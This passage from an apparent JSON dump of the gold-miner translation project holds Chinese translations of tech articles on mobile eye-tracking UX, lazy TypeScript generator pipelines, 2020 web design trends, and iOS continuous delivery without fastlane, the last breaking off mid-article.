的人口可以使用移动设备，移动互联网的使用率正在超过传统计算平台。今天的世界是以移动为中心的。因此，关注移动设备的可用性非常重要。\n\n用户体验专家珍妮弗·罗曼诺·伯格斯特伦(Jen Romano Bergstrom)进行了一项研究，利用眼动追踪技术，在多个设备之间比较同一界面的用户体验。结果，她在不同的设备上发现了不同的问题。下面是数据的热点图。红点是主要的焦点，绿色和黄色是用户关注较少的区域。很明显，用户在不同的设备上对相同的界面有不同的关注点。\n\n![**Image from Jen Romano Bergstrom’s eye-tracking research**](https://imgkr.cn-bj.ufileos.com/00330430-8823-4131-ae2f-50f3e6a5954c.jpeg)\n\n## 移动设备的最佳用户体验实践\n\n史蒂夫·克鲁格（Steve Krug）是一名信息架构师和用户体验专家，以著作《点石成金 —— 访客至上的网页设计秘笈法》闻名。他在书中提到，用户在采取行动前会先看。在仔细选择和点击其他链接之前，会先阅读文本。事实上，人们并不是什么都看，他们只是看他们想看的。这是一个重大突破，它强化了可用性工具(如眼动追踪设备)的重要性。\n\n![**图片源自史蒂夫·克鲁格的著作 ——《点石成金 —— 访客至上的网页设计秘笈法》**](https://imgkr.cn-bj.ufileos.com/5fef551e-8671-4dae-9d1d-db1b95243746.jpeg)\n\n珍妮弗·罗曼诺·伯格斯特伦(Jen Romano Bergstrom)解释了一些最佳用户体验实践的关键准则，每个用户体验专家都应该遵循。这些准则是在进行了几次眼动跟踪研究后起草的。\n\n**1、跨设备的功能图标**\n\n>图标和图像应该像用户希望的那样，能在不同的设备下被点击，从而产生交互。让主页上的元素可点击将使网页更直观。 \n\n**2、清晰而准确的错误信息**\n\n如果出现一个错误消息，它应该解释这个错误消息与什么有关。下面是 Jen 研究中的一个例子。在左侧，弹出一个错误消息。但是，尚不清楚应填写哪个必填字段。右边是用户的注视图。用户试图在整个屏幕上搜索剩下的必填字段。因此，错误消息应该清楚地指出问题所在，便于用户快速进行下一步操作。\n\n![**图片源自珍妮弗·罗曼诺·伯格斯特伦的眼动跟踪研究**](https://imgkr.cn-bj.ufileos.com/fd2bac1b-49f5-4b2c-9f18-5027fc434148.png)\n\n**3、统一页面布局**\n\n请记住，用户可以访问多个设备，一个界面的布局应该在各种移动设备之间保持一致。信息流应该保持不变，因为好的设计可以在所有平台上为用户提供一致的心智模型。\n\n##  结论\n\n尽管眼动追踪是一个耗时且昂贵的过程，但它是一种非常有用的技术，可以让你对特定产品有更深刻的了解。就移动设备中眼球追踪的使用而言，这一领域还有很多值得探索的地方。遵循这些建议的 UX 实践将极大地改善用户体验。\n\n## 参考文献\n\n[http://bit.ly/2AGPlkz](http://bit.ly/2AGPlkz)\n\n[https://www.slideshare.net/JenniferRomanoBergstrom/eye-tracking-the-ux-of-mobile-what-you-need-to-know](https://www.slideshare.net/JenniferRomanoBergstrom/eye-tracking-the-ux-of-mobile-what-you-need-to-know)\n\n[https://www.youtube.com/watch?v=JfzTevZZ-z0&t=326s](https://www.youtube.com/watch?v=JfzTevZZ-z0&t=326s)\n\nDon’t Make Me Think, Steve Krug, 2006\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/fast-pipelines-with-generators-in-typescript.md",
    "content": "> * 原文地址：[Lazy Pipelines with Generators in TypeScript](https://itnext.io/fast-pipelines-with-generators-in-typescript-85d285ae6f51)\n> * 原文作者：[Wim Jongeneel](https://medium.com/@wim.jongeneel1)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/fast-pipelines-with-generators-in-typescript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/fast-pipelines-with-generators-in-typescript.md)\n> * 译者：[febrainqu](https://github.com/febrainqu)\n> * 校对者：[xionglong58](https://github.com/xionglong58)，[GJXAIOU](https://github.com/GJXAIOU)，[lsvih](https://github.com/lsvih)\n\n# TypeScript 中带生成器的惰性管道\n\n![Photo by [Quinten de Graaf](https://unsplash.com/@quinten149?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)](https://cdn-images-1.medium.com/max/9704/1*wEQnHaPoHc_QJo5vxwrCEg.jpeg)\n\n近年来，JavaScript 社区已经接受了 `map` 和 `filter` 之类的函数式数组方法，for 循环成为了只能在 Jquery 中见到的东西。但在性能方面，JavaScript 中的数组方法还远远达不到预期。让我们看一个例子：\n\n```TypeScript\nconst x = [1,2,3,4,5]\n  .map(x => x * 2)\n  .filter(x => x > 5)\n  [0]\n```\n\n这段代码将执行以下步骤：\n\n* 创建一个含有五个元素的数组\n* 创建一个新数组，其元素值是前一个数组对应元素的 2 倍\n* 创建一个符合过滤条件的新数组\n* 取数组的第一个元素\n\n实际上有很步骤是多余的，上述代码做的唯一的事就是返回第一个大于 5 的元素。在其他语言中（例如 Python）可以用迭代器来解决此类问题。这些迭代器是一个惰性集合，只在请求时处理数据。如果用 JavaScript 的惰性迭代器代替上面的一系列数组方法，则需要进行如下步骤：\n\n* `[0]` 请求经 `filter` 操作后数组的第一个元素\n* `filter` 从 `map` 中请求元素，直到发现一个符合条件的元素，并返回（‘yield’）它\n* 每当 `filter` 发送一次请求，`map` 便处理一个元素\n\n在本例中，我们只对数组中的第一项进行了 `map` 和 `filter` 操作，接着迭代器就不会再请求其它项。这样也不需要另外构建数组或迭代器，因为每一项都是一步接一步地完成整个管道。因此，**惰性管道**这个概念**可以**在处理大量数据时获得巨大的性能收益。\n\n## JavaScript 中的生成器和迭代器\n\n幸运的是 JavaScript 确实支持[迭代器](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators)的概念。可以使用[生成器](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators)函数来创建集合中的各个元素。一个生成器函数如下：\n\n```TypeScript\nfunction* iterator() {\n  yield 1\n  yield 2\n  yield 3\n}\n\nfor(let x of iterator()) {\n  console.log(x)\n}\n```\n\n在这里，for 循环将在每次循环中请求迭代器的一个元素。生成器函数使用 `yield` 关键字来返回集合中的下一项。如你所见，我们可以多次生成包含多个项的迭代器，因此永远不需要在内存中构造额外的数组。我们可以删除一些语法糖方便理解：\n\n```TypeScript\nconst itt = iterator()\nlet current = itt.next()\n\nwhile(current.done == false) {\n  console.log(current.value)\n  current = itt.next()\n}\n```\n\n你可以看到迭代器有一个 `next` 方法用于请求下一项，此方法的将返回一个值和一个布尔值，布尔值用于指示迭代器中是否还有更多结果。虽然这一切都很有趣，但如果我们想要使用迭代器构建正确的数据管道，还需要做更多的事情：\n\n* 从数组到迭代器的转换\n* 在其它迭代器上运作的迭代器，如 `map` 和 `filter`（也称为“高阶迭代器”）\n* 一个合适的接口，以优雅和实用的方式将所有步骤链接在一起\n\n下面，我将展示如何实现这些功能。在文末我留了一个链接，指向我创建的有着更多功能的库。遗憾的是，这不是惰性迭代器的原生实现，这也意味着用这个库存在额外开销，而且导致在一些情况下不值得用它。但我还是想向你们展示这个概念的实际应用，并讨论它的利弊。\n\n## 迭代器的构造函数\n\n我们希望能够从多个数据源创建迭代器。最容易被遗忘的就是数组。这是相当容易的，我们循环数组，并产生所有项目：\n\n```TypeScript\nfunction* from_array<a>(a:a[]) {\n  for(const v of a) yield v\n}\n```\n\n在数组中可以用 `next` 调用迭代器，直到获得所有的数组元素。当然希望你只在别无选择时再将迭代器转换回数组，因为这个函数需要进行一次完整的迭代：\n\n```TypeScript\nfunction to_array<a>(a: Iterator<a>) {\n  let result: a[] = []\n  let current = a.next()\n  while(current.done == false) {\n    result.push(current.value)\n    current = a.next()\n  }\n  return result\n}\n```\n\n从迭代器中读取数据的另一种方法是 `first`，它的实现如下所示。注意，它只向迭代器请求第一项，这也意味着剩下的值将永远不会被计算到，从而减少数据管道中的资源浪费。\n\n```TypeScript\nexport function first<a>(a: Iterator<a>) {\n  return a.next().value\n}\n```\n\n在完整的库中还有一些构造函数，它们会从 [functions](https://github.com/WimJongeneel/ts-lazy-collections/blob/master/src/main.ts#L65-L74) 或 [ranges](https://github.com/WimJongeneel/ts-lazy-collections/blob/master/src/main.ts#L57-L63) 创建迭代器。\n\n## 高阶迭代器\n\n高阶迭代器会将现有的迭代器转换为新的迭代器，这些迭代器组成了管道中的操作。著名的转换函数 `map` 如下所示。它接受一个迭代器和一个函数，并返回一个新的迭代器，其中该函数应用于原始迭代器中的所有项。请注意，我们仍然会一项一项地生成（yield），并在转换迭代器时保留迭代器的惰性性质，这也是实现这篇文中所说的“更高效率”的关键点。\n\n```TypeScript\nfunction* map<a, b>(a: Iterator<a>, f:(a:a) => b){\n  let value = a.next()\n  while(value.done == false) {\n    yield f(value.value)\n    value = a.next()\n  }\n}\n```\n\n过滤器可以用类似的方式实现。当请求下一项时，它将一直从内部迭代器请求元素，直到找到一个通过条件的元素，生成（yield）此项，并停止执行迭代，直到收到生成下一个元素的请求。\n\n```TypeScript\nfunction* filter<a>(a: Iterator<a>, p: (a:a) => boolean) {\n  let current = a.next()\n  while(current.done == false) {\n    if(p(current.value)) yield current.value\n    current = a.next()\n  }\n}\n```\n\n可以用上面介绍的概念构造更多的高阶迭代器。[完整的库](https://github.com/WimJongeneel/ts-lazy-collections#collection-methods)中有更多种类的高阶迭代器用于参考，欢迎访问。\n\n## 构建器接口\n\n库的最后一部分是面向用户的 API。该库使用了构建器模式，来让你像在数组上那样进行链式调用。这是通过创建一个接受迭代器，并返回带有方法的对象的函数来完成的。这些方法可以再次调用构造函数与更新迭代器的链接：\n\n```TypeScript\nconst fromIterator = <a>(itt: Iterator<a>) => ({\n  toArray: () => to_array(itt),\n  filter: (p: (a:a) => boolean) => lazyCollection(filter(itt, p)),\n  map: <b>(f:(a:a) => b) => lazyCollection(map(itt, f)),\n  first: () => first(itt)\n})\n```\n\n本文开头的例子可以写成如下形式。在这个实现中，我们不再需要创建额外的数组，只需要处理实际使用的数据！\n\n```TypeScript\nconst x = fromIterator(from_array([1,2,3,4,5]))\n  .map(x => x * 2)\n  .filter(x => x > 5)\n  .first()\n```\n\n## 结论\n\n在本文中，我向您展示了如何使用生成器和迭代器来创建功能强大且非常高效的库来处理大量数据。当然，迭代器并不是解决所有问题的金钥匙。效率的提高是由于节省了不必要的计算。实际上提升了多少，完全取决于可以优化多少计算、这些计算有多繁重以及要处理多少数据。当没有要保存的计算或集合相对较小时，你可能会因为库的开销而损失性能。\n\n完整的源代码可以在 [Github](https://github.com/WimJongeneel/ts-lazy-collections#collection-methods) 找到并包含本文中包含的更多特性。我很想听听你对此的意见。你是否认为 JavaScript 不对数组方法使用惰性迭代是很可惜的？你是否认为使用生成器是 JavaScript 集合的前进方向？如果JavaScript在默认情况下使用惰性迭代器，则它们应该能够优化开销（就像其他语言一样），同时仍然保持效率的潜在优势。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/find-top-10-meaningful-web-design-trends-in-2020.md",
    "content": "> * 原文地址：[Find Top 10 meaningful web design trends in 2020](https://medium.com/ux-in-plain-english/find-top-10-meaningful-web-design-trends-in-2020-76c2a8301997)\n> * 原文作者：[Darshan Chauhan](https://medium.com/@darshan.chauhan21198)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/find-top-10-meaningful-web-design-trends-in-2020.md](https://github.com/xitu/gold-miner/blob/master/TODO1/find-top-10-meaningful-web-design-trends-in-2020.md)\n> * 译者：[Charlo](https://github.com/Charlo-O)\n> * 校对者：[hansonfang](https://github.com/hansonfang)、[xujunjiejack](https://github.com/xujunjiejack)\n\n# 寻找 2020 年最有意义的十大网页设计流行趋势\n\n![Web Designing](https://cdn-images-1.medium.com/max/2000/1*0KFCpdc4-ScdB1uDhGNMUg.png)\n\n大家好，之前我们看到了人工智能即服务等新兴技术的发展趋势，也看到了比如社交距离检测器这类数据科学相关的解决方案。\n\n因此，今天这篇文章中，我们要讲的是对每一个层次的网页设计师都有帮助的顶级网页设计趋势。根据所有商业网站的整体分析，网站设计占访客印象的 95%。\n\n## 来聊聊不同的趋势\n\n#### 1、留白\n\n留白就是你网站上的一种空白区域，或者说落地页上没有信息展示的那部分。\n\n这个留白区域可以让你的眼睛从连续的文章阅读中得到休息。有时这个区域可能会被一些广告覆盖。但大多数情况开发人员都会在开发时留白。\n\n这对于网站改进和网页设计都是有益的。\n\n#### 2、长页头\n\n像在这里，在页头中并带有导航部件的 Hero Image（一个巨大的网络横幅图像，突出地放置在页面，一般在前面和中间。全页式的背景图），带有一些 CTA（号召性用语）按钮，用于将用户导航到网站或网站外部。\n\n长页头还包含了一些有创意的信息图表，漂亮的图片或者是一些文字也是可以告诉用户网站是关于什么的。\n\n#### 3、动画光标\n\n如果你完全致力于基于 UI 的结构，那么你必须在鼠标点击或滑动时加入一些动画效果，以获得更多的用户关注。\n\n#### 4、滚动行为\n\n如果网站包含有完美的 UI 的落地页，但是页面滚动不正常，那别人对网站的印象也好不到哪儿去。\n\n因为每当用户试图滚动到页面某些位置时，发现页面卡的要死，这就是为什么在滚动的同时提供动态滚动行为，是非常有用和有创造性的。\n\n#### 5、插图的使用\n\n网页设计中最受欢迎和最流行的组成部分就是图片，即插图。\n\n插图使页面吸引用户，并且仅通过查看插图就可以使用户到您的网站浏览，因为你的网站中的插图会对你的网站产生巨大的影响，即表明你的网站是做什么的。\n\n#### 6、网格\n\n以网格元素的形式创建组件，然后它使得页面中所有构建块在网页中完全对齐。就像是网站布局组件的一部分。\n\n#### 7、2020 年的流行色\n\n如你所知，现在的渐变色组合在市场上很流行，也可以说是在网页设计中的趋势。因为这是最有创意的方式，为客户或者个人网站提供最好的设计逻辑和心理，以吸引用户。\n\n#### 8、字体加粗\n\n如果你在你的网站中使用太多粗体，那么它可能会给你的网站留下不好的印象，所以这就是为什么要使用较少的粗体字体，并尝试一些普通的轮廓字型。\n\n#### 9、UI/UX 关注度\n\n如果你想提高 UI/UX 的关注度，那么你必须通过以下技巧来优化内容。\n\n* 搜索引擎优化\n* 页面加载时间\n* 清除冗余\n* 压缩图片等\n\n#### 10、引人注目的文章\n\n在网站上制作高质量的内容是 SEO 时期最重要的因素，也会影响到你的网站排名和网站的整体表现。\n\n受众会关注你独特的内容，因为每天都有很多内容发布在 Google 上，但你如何为用户提供独特的内容才是最重要的。\n\n## 总结\n\n创意来自于头脑，但却也暗示了你周围世界的真实场景，这个周围世界影响着你的全部想法和视角。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/five-options-for-ios-continuous-delivery-without-fastlane.md",
    "content": "> * 原文地址：[Five Options for iOS Continuous Delivery without Fastlane](https://medium.com/xcblog/five-options-for-ios-continuous-delivery-without-fastlane-2a32e05ddf3d)\n> * 原文作者：[Shashikant Jagtap](https://medium.com/@shashikant.jagtap?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/five-options-for-ios-continuous-delivery-without-fastlane.md](https://github.com/xitu/gold-miner/blob/master/TODO1/five-options-for-ios-continuous-delivery-without-fastlane.md)\n> * 译者：[金西西](https://github.com/melon8)\n> * 校对者：[allenlongbaobao](https://github.com/allenlongbaobao)，[talisk](https://github.com/talisk)\n\n# 不使用 fastlane 实现持续交付的 5 种选项\n\n![](https://cdn-images-1.medium.com/max/800/1*VttABPhOQPcSnjJTSkxykg.jpeg)\n\n__原文发布在 XCBlog__ [__这里__](http://shashikantjagtap.net/five-options-for-ios-continuous-delivery-without-fastlane/)\n\nfastlane [工具](https://fastlane.tools/)将整个 iOS CI/CD 流水线（Continuous Integration and Deployment，持续集成和发布，译者注）自动化了，使得我们可以用代码的方式管理整个 iOS 基础架构。fastlane 是一系列工具，用来将例如分析、构建、测试、代码签名和 iOS app 打包等一切过程自动化。然而如果你深入看，它不过是在苹果原生开发工具上加了一个 Ruby 层。可能在某些情况下，fastlane 节省了一些时间，但考虑到频繁的不兼容更改，fastlane 反过来浪费了大量开发者的时间。在不断学习 Ruby 和 fastlane 式的自动化的过程中，许多开发人员浪费了宝贵时间。就像 [CocoaPods](https://cocoapods.org/)， fastlane 可能是你的 iOS 项目中使用到 Ruby 的另一个无用之物，它与 iOS 开发毫无关系。学习一些本地的苹果开发工具并从你的 iOS 开发工具箱中彻底删除 Ruby 和其他第三方工具（比如 fastlane）并不难。在这篇文章中，我们将介绍 iOS 开发人员使用 fastlane 面临的问题以及替代方案。\n\n### fastlane 的 5 个问题\n\nfastlane 声称它通过自动执行常见任务节省了开发人员的时间。在 fastlane 按预期工作的情况下，这可能是正确的，但也需要考虑到 fastlane 在安装、调试和管理方面浪费了多少时间。本节我们将讨论 iOS 开发人员使用 fastlane 可能面临的常见问题。\n\n### 1. Ruby\n\n在 iOS 项目中使用 fastlane 的首要问题是 [Ruby](https://www.ruby-lang.org/en/)。一般来说，iOS 开发人员并不擅长使用 Ruby，但为了使用 fastlane 或 CocoaPods 等工具，他们必须学习 Ruby，然而这与实际的 iOS 开发没有任何关系。设置 fastlane 工具需要很好的理解 Ruby、[RubyGems](https://rubygems.org/) 和 [Bundler](http://bundler.io/) 的工作原理。最近出的 [Swift 版的 fastlane](https://docs.fastlane.tools/getting-started/ios/fastlane-swift/) 声称可以摆脱 Ruby，但实际上只是用 Swift 来执行的后台的 Ruby 命令。我对 Swift 版 fastlane 的可用性表示怀疑，这篇[博客](https://dzone.com/articles/first-impressions-of-fastlane-swift-for-ios) 里面写了我对 Swift 版 fastlane 最初的印象。fastlane 有很全的文档，但 iOS 开发人员仍然需要使用 Ruby 来编写所有用于自动化 iOS 发布流水线的基础架构。\n\n### 2. 频繁的不兼容的更新\n\n苹果不断地改变着本地工具，这些改变不断地导致 fastlane 无法兼容。他们需要经常追逐着苹果和谷歌（以 Android 为例）适配 fastlane，这要求 fastlane 的开发人员实现这些特性并发布新版本。如果 fastlane 版本不是由 Bundler 管理的，那么大多数情况更新 fastlane 版本的时候也需要更新现有的 fastlane 脚本。对于可能频繁出现的构建失败，iOS 开发人员需要花时间分析 fastlane 中发生的变化并相应地修复。这种破坏性的更新会干扰 iOS 开发人员的主要开发流程，并且要浪费几个小时来修复构建。使用 fastlane 的一个痛苦点是，在 fastlane 之前的版本中配置的选项并不总是适用于较新的版本，如果你搜索解决方案，那么对于同一个问题，你最终会找到对应 fastlane 不同版本的多个解决方案。。\n\n### 3. 耗时的设置和维护\n\n虽然 fastlane 提供了很好的入门指南搭配了模版代码，但用脚本来描述所有的 iOS 自动化发布流水线需求并不是十分简单直白的事情。我们需要根据我们的需求定制选项，这需要知道这些选项如何在 fastlane 脚本中编写，然后我们才可以使用不同的 lane 来编写我们的流水线。学习 fastlane 和 Ruby 工具箱需要大量的时间来以完成所有的设置。然而当你设置好所有的东西时，这个工作并没有完成，你还需要在前文提到的每个 fastlane 的更新中持续不断的维护。\n\n### 4. 在 github 贡献代码很难\n\n你可能需要根据公司特定的要求配置 iOS 发布流水线，或者要求 fastlane 进行定制。唯一的选择就是为 fastlane 写[插件](https://docs.fastlane.tools/plugins/available-plugins/)。目前编写插件的唯一方法是编写一个 Rubygem，它可以安装为 fastlane 插件。同样，它需要对 Ruby 生态系统有深刻的理解，而通常 iOS 开发人员并没有相关的技巧。很不幸的是，iOS 开发人员不能为他们目前在工具箱中使用的工具贡献代码。除此之外，给 fastlane [贡献代码](https://github.com/fastlane/fastlane/blob/master/CONTRIBUTING.md)的过程耗时且充满了机器人。它以创建一个 Github 的 issue 开始，进而是无休止的讨论。[这里](https://github.com/fastlane/fastlane/blob/master/CONTRIBUTING.md)你可以阅读更多关于 fastlane 的贡献指南。\n\n### 5. Github 上未解决的 issue\n\nfastlane 的 Github 上面有很多 [issue](https://github.com/fastlane/fastlane/issues) 是 open 的状态，有些在还没有为用户提供正确的解决方案的情况下就被自动机器人关闭了。我举个很好的例子，我浪费了好几天的时间为了确定 fastlane 的 [match](https://docs.fastlane.tools/actions/match/) 是否支持在 Xcode 9 上构建的企业应用发布包。在寻找答案的同时，我发现还有其他人也在寻找相同问题的解决方案。[这](https://github.com/fastlane/fastlane/issues/10895)是一个没有得出合适的解决方案的却被 fastlane 机器人关闭的 issue。我已经尝试了 issue [11090](https://github.com/fastlane/fastlane/issues/11090)，[10543](https://github.com/fastlane/fastlane/issues/10543)，[10325](https://github.com/fastlane/fastlane/issues/10325)，[10458](https://github.com/fastlane/fastlane/issues/10458) 等提供的各种解决方案，读完所有这些之后，我仍然不明白企业应用构建的 export 方法是什么。有些用户说：当你使用 adhoc 它会起作用；而另一些用户则说 Ad-hoc 或者 AdHoc。你可以想象需要花多少时间来给应用打包，去测试每个出口方法。我看到 CircleCI 也有用户对 fastlane 的 match 的代码签名问题感到[沮丧](https://twitter.com/m4rr/status/961047312666710016)。\n\n上面列举的是 fastlane 在你的 iOS 项目中制造的所有问题中的一小部分，你可能有不同的故事和不同的问题，但你从来没有提起。\n\n### 5 个 fastlane 的代替品\n\n既然我们已经看到了在 iOS 项目中使用 fastlane 的一些问题。现在的问题是我们能否完全移除 iOS 项目中的 fastlane。答案是肯定的。但是，你需要花费一些时间来理解 iOS 构建过程和几个苹果原生命令行开发工具。我认为，花时间去了解原生苹果开发工具，比学习第三方框架更加值得。你永远不会后悔学习了苹果原生命令行开发工具，然而如果你没有时间去学习这些，还有一些免费或者付费服务可以帮你解决所有的问题。目前，我们有以下代替 fastlane 的免费或付费的选择。\n\nfastlane 的替代者 Top 5\n\n* 原生苹果开发工具（免费）\n* Xcode Server（免费）\n* 云端 CI 服务（付费）\n* Apple + BuddyBuild（天知道）\n* 基于 Swift 的替代方案（免费但尚未准备好）\n\n### 1. 原生苹果开发工具\n\n没有什么比学习苹果原生开发工具和编写自定义脚本更适合你的构建和发布过程的需求了。苹果提供了命令行开发工具来完成我们想要的一切。要知道 fastlane 和类似的工具也是基于苹果原生开发工具实现的。使用苹果开发工具的最大好处是，除了苹果之外，任何人都不能打破它，而且在大多数情况下它们都是向下兼容的。苹果已经给这些工具编写了文档，而且大多数都有指导手册来方便查看这些工具提供的所有选项。为了编写 iOS 构建流水线，我们需要了解以下主要工具。\n\n*   [xcodebuild](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/xcodebuild.1.html)  —— 分析、构建、测试和打包 iOS app。这是所有命令之父，所以学习这个工具很重要。\n*   [altool](http://help.apple.com/itc/apploader/#/apdATD1E53-D1E1A1303-D1E53A1126): 上传 ipa 文件到 iTunes Connect。\n*   [agvtool](https://developer.apple.com/library/content/qa/qa1827/_index.html): 管理版本和构建版本号。\n*   [codesign](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/codesign.1.html): 管理 iOS app 的代码签名。\n*   [security](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/security.1.html): 管理证书, 钥匙串和 Profiles。\n\n有一些辅助工具像 [simctl](https://medium.com/xcblog/simctl-control-ios-simulators-from-command-line-78b9006a20dc)，[PlistBuddy](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man8/PlistBuddy.8.html)，[xcode-select](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/xcode-select.1.html) 等，在处理模拟器、Plist 文件和 Xcode 版本等有时也会需要。一旦熟悉了这些工具，你就会对自己编写 iOS 发布流水线有信心，并且这些工具能够解决任何问题。在大多数情况下，几行代码就可以将你的 iOS 应用发送到 iTunes Connect。我写了一篇[文章](https://medium.com/xcblog/xcodebuild-deploy-ios-app-from-command-line-c6defff0d8b8)关于通过命令行发布 iOS 应用。我们也需要知道一些 [代码签名](https://developer.apple.com/support/code-signing/) 以理解整个流程.。学习在iOS构建过程中应用苹果开发者工具需要一些时间，但这是一次性的，你不需要学习任何第三方框架，比如 fastlane。\n\n### 2. Xcode Server\n\n[Xcode Server](https://developer.apple.com/library/content/documentation/IDEs/Conceptual/xcode_guide-continuous_integration/) 是苹果提供的持续集成服务。随着 Xcode 9 的发布，苹果给 Xcode Server 增加了许多新功能，几乎所有的功能都是在后台运行。Xcode Server 与 Xcode 紧密结合，对 iOS 开发人员来说很容易上手。使用 Xcode Server，我们可以分析、测试、构建和归档一个 iOS 应用程序，并且无需编写任何代码或脚本。如果你使用 Xcode Server 进行 iOS 持续集成，你可能不需要任何工具来自动化构建过程。[这里](https://medium.com/xcblog/xcode9-xcode-server-comprehensive-ios-continuous-integration-3613a7973b48)可以读到更多关于 Xcode Server 特性的信息。然而，还有一个步骤需要我们手动实现：将二进制文件上传到 iTunes Connect 或其他平台上。目前 Xcode Server 无法将二进制文件上传到 iTunes Connect，但使用 altool 作为 Xcode Server bot 的 post-integration 脚本就很容易实现这个目标。\n\n如果你无法在内部管理 Mac Mini 服务器，你可以通过[Mac Stadium](https://www.macstadium.com/)这类的服务中租用一些 mac Mini 来运行 Xcode Server。\n\n### 3. 基于云的 CI 服务\n\n有许多基于云计算的 CI 服务，例如 [BuddyBuild](https://www.buddybuild.com/)，[Bitrise](https://www.bitrise.io/)，[CircleCI](https://circleci.com)，[Nevercode](https://nevercode.io/)等，可以提供持续集成以及持续发布服务。 BuddyBuild 最近被苹果公司收购，我下一节会介绍。这些基于云的 CI 服务会处理所有 iOS 构建过程，包括测试，代码签名和将应用程序发布到特定服务或 iTunes Connect 上。我们也可以编写自定义脚本来实现特定需求。这些服务完全避免了对 fastlane 或任何 iOS 项目的脚本编写的需求。但是这些服务不是免费的，并且可以控制你的项目。如果你完全不具备 CI / CD 基础设施的技能，那么这将是一个不错的选择。我在我的个人项目上完成了所有基于这些云计算的 CI 服务的关键步骤，并写了我的[结论](https://dzone.com/articles/olympics-of-top-5-cloud-ios-continuous-integration)。希望文中的对比和讨论能在你为自己的 iOS 项目选择合适服务的过程上有所帮助。\n\n### 4. Apple + BuddyBuild\n\n今年年初苹果[收购](https://techcrunch.com/2018/01/02/apple-buys-app-development-service-buddybuild/)了 BuddyBuild，这意味着苹果和 BuddyBuild 可能会合作，为 iOS 开发人员提供无痛苦的持续集成和交付服务。在 [WWDC 2018](https://developer.apple.com/wwdc/) 上如果看到了苹果和 BuddyBuild 的合作演示估计会很有趣。 我们可以[猜测](https://dzone.com/articles/apple-acquires-buddybuild-oh-my-xcode-server) 苹果会将 Xcode Server 作为自己托管的解决方案（免费）并且将 BuddyBuild 基于云，集成进 Xcode 的解决方案（付费或免费）；或者是苹果彻底抛弃 Xcode Server，只保留 BuddyBuild 为免费或付费的服务。以上种种可能除非必要，都不需要明显的脚本基础架构。这也将彻底消除对类似 fastlane 这样的工具的需求。我们目前唯一需要做的就是等到 2018 年 WWDC。\n\n### 5. Swift 选项（未准备好）\n\nfastlane 最近添加了使用 [Swift](https://docs.fastlane.tools/getting-started/ios/fastlane-swift/) 而不是 Ruby 